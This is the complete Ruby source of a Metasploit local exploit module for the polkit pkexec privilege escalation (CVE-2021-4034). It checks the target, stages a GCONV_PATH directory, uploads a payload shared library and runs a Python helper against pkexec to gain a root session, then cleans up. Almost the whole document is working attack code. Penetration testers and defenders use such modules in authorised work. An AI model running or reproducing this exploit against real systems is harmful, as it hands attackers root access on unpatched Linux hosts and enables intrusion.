Polkit pkexec Local Privilege Escalation Exploit

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::Kernel
  include Msf::Post::Linux::System
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Local Privilege Escalation in polkits pkexec',
        'Description' => %q{
          A bug exists in the polkit pkexec binary in how it processes arguments.  If
          the binary is provided with no arguments, it will continue to process environment
          variables as argument variables, but without any security checking.
          By using the execve call we can specify a null argument list and populate the
          proper environment variables.  This exploit is architecture independent.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Qualys Security',  # Original vulnerability discovery
          'Andris Raugulis',  # Exploit writeup and PoC
          'Dhiraj Mishra',    # Metasploit Module
          'bwatters-r7'       # Metasploit Module
        ],
        'DisclosureDate' => '2022-01-25',
        'Platform' => [ 'linux' ],
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'Targets' => [
          [
            'x86_64',
            {
              'Arch' => [ ARCH_X64 ]
            }
          ],
          [
            'x86',
            {
              'Arch' => [ ARCH_X86 ]
            }
          ],
          [
            'aarch64',
            {
              'Arch' => [ ARCH_AARCH64 ]
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'PrependSetgid' => true,
          'PrependSetuid' => true
        },
        'Privileged' => true,
        'References' => [
          [ 'CVE', '2021-4034' ],
          [ 'URL', 'https://www.whitesourcesoftware.com/resources/blog/polkit-pkexec-vulnerability-cve-2021-4034/' ],
          [ 'URL', 'https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt' ],
          [ 'URL', 'https://github.com/arthepsy/CVE-2021-4034' ], # PoC Reference
          [ 'URL', 'https://www.ramanean.com/script-to-detect-polkit-vulnerability-in-redhat-linux-systems-pwnkit/' ], # Vuln versions
          [ 'URL', 'https://github.com/cyberark/PwnKit-Hunter/blob/main/CVE-2021-4034_Finder.py' ] # vuln versions
        ],
        'Notes' => {
          'Reliability' => [ REPEATABLE_SESSION ],
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ ARTIFACTS_ON_DISK ]
        }
      )
    )
    register_options([
      OptString.new('WRITABLE_DIR', [ true, 'A directory where we can write files', '/tmp' ]),
      OptString.new('PKEXEC_PATH', [ false, 'The path to pkexec binary', '' ])
    ])
    register_advanced_options([
      OptString.new('FinalDir', [ true, 'A directory to move to after the exploit completes', '/' ]),
    ])
  end

  def on_new_session(new_session)
    # The directory the payload launches in gets deleted and breaks some commands
    # unless we change into a directory that exists
    super
    old_session = @session
    @session = new_session
    cd(datastore['FinalDir'])
    @session = old_session
  end

  def find_pkexec
    vprint_status('Locating pkexec...')
    if exists?(pkexec = cmd_exec('which pkexec'))
      vprint_status("Found pkexec here: #{pkexec}")
      return pkexec
    end

    return nil
  end

  def check
    # Is the arch supported?
    arch = kernel_hardware
    unless arch.include?('x86_64') || arch.include?('aarch64') || arch.include?('x86')
      return CheckCode::Safe("System architecture #{arch} is not supported")
    end

    # check the binary
    pkexec_path = datastore['PKEXEC_PATH']
    pkexec_path = find_pkexec if pkexec_path.empty?
    return CheckCode::Safe('The pkexec binary was not found; try populating PkexecPath') if pkexec_path.nil?

    # we don't use the reported version, but it can help with troubleshooting
    version_output = cmd_exec("#{pkexec_path} --version")
    version_array = version_output.split(' ')
    if version_array.length > 2
      pkexec_version = Rex::Version.new(version_array[2])
      vprint_status("Found pkexec version #{pkexec_version}")
    end

    return CheckCode::Safe('The pkexec binary setuid is not set') unless setuid?(pkexec_path)

    # Grab the package version if we can to help troubleshoot
    sysinfo = get_sysinfo
    begin
      if sysinfo[:distro] =~ /[dD]ebian/
        vprint_status('Determined host os is Debian')
        package_data = cmd_exec('dpkg -s policykit-1')
        pulled_version = package_data.scan(/Version:\s(.*)/)[0][0]
        vprint_status("Polkit package version = #{pulled_version}")
      end
      if sysinfo[:distro] =~ /[uU]buntu/
        vprint_status('Determined host os is Ubuntu')
        package_data = cmd_exec('dpkg -s policykit-1')
        pulled_version = package_data.scan(/Version:\s(.*)/)[0][0]
        vprint_status("Polkit package version = #{pulled_version}")
      end
      if sysinfo[:distro] =~ /[cC]entos/
        vprint_status('Determined host os is CentOS')
        package_data = cmd_exec('rpm -qa | grep polkit')
        vprint_status("Polkit package version = #{package_data}")
      end
    rescue StandardError => e
      vprint_status("Caught exception #{e} Attempting to retrieve polkit package value.")
    end

    if sysinfo[:distro] =~ /[fF]edora/
      # Fedora should be supported, and it passes the check otherwise, but it just
      # does not seem to work.  I am not sure why.  I have tried with SeLinux disabled.
      return CheckCode::Safe('Fedora is not supported')
    end

    # run the exploit in check mode if everything looks right
    if run_exploit(true)
      return CheckCode::Vulnerable
    end

    return CheckCode::Safe('The target does not appear vulnerable')
  end

  def find_exec_program
    return 'python' if command_exists?('python')
    return 'python3' if command_exists?('python3')

    return nil
  end

  def run_exploit(check)
    if is_root? && !datastore['ForceExploit']
      fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
    end

    arch = kernel_hardware
    vprint_status("Detected architecture: #{arch}")
    if (arch.include?('x86_64') && payload.arch.first.include?('aarch')) || (arch.include?('aarch') && !payload.arch.first.include?('aarch'))
      fail_with(Failure::BadConfig, 'Host/payload Mismatch; set target and select matching payload')
    end

    pkexec_path = datastore['PKEXEC_PATH']
    if pkexec_path.empty?
      pkexec_path = find_pkexec
    end

    python_binary = find_exec_program

    # Do we have the pkexec binary?
    if pkexec_path.nil?
      fail_with Failure::NotFound, 'The pkexec binary was not found; try populating PkexecPath'
    end

    # Do we have the python binary?
    if python_binary.nil?
      fail_with Failure::NotFound, 'The python binary was not found; try populating PythonPath'
    end

    unless writable? datastore['WRITABLE_DIR']
      fail_with Failure::BadConfig, "#{datastore['WRITABLE_DIR']} is not writable"
    end

    local_dir = ".#{Rex::Text.rand_text_alpha_lower(6..12)}"
    working_dir = "#{datastore['WRITABLE_DIR']}/#{local_dir}"
    mkdir(working_dir)
    register_dir_for_cleanup(working_dir)

    random_string_1 = Rex::Text.rand_text_alpha_lower(6..12).to_s
    random_string_2 = Rex::Text.rand_text_alpha_lower(6..12).to_s
    @old_wd = pwd
    cd(working_dir)
    cmd_exec('mkdir -p GCONV_PATH=.')
    cmd_exec("touch GCONV_PATH=./#{random_string_1}")
    cmd_exec("chmod a+x GCONV_PATH=./#{random_string_1}")
    cmd_exec("mkdir -p #{random_string_1}")

    payload_file = "#{working_dir}/#{random_string_1}/#{random_string_1}.so"
    unless check
      upload_and_chmodx(payload_file.to_s, generate_payload_dll)
      register_file_for_cleanup(payload_file)
    end

    exploit_file = "#{working_dir}/.#{Rex::Text.rand_text_alpha_lower(6..12)}"

    write_file(exploit_file, exploit_data('CVE-2021-4034', 'cve_2021_4034.py'))
    register_file_for_cleanup(exploit_file)

    cmd = "#{python_binary} #{exploit_file} #{pkexec_path} #{payload_file} #{random_string_1} #{random_string_2}"
    print_warning("Verify cleanup of #{working_dir}")
    vprint_status("Running #{cmd}")
    output = cmd_exec(cmd)

    # Return to the old working directory before we delete working_directory
    cd(@old_wd)
    cmd_exec("rm -rf #{working_dir}")
    vprint_status(output) unless output.empty?
    # Return proper value if we are using exploit-as-a-check
    if check
      return false if output.include?('pkexec --version')

      return true
    end
  end

  def exploit
    run_exploit(false)
  end
end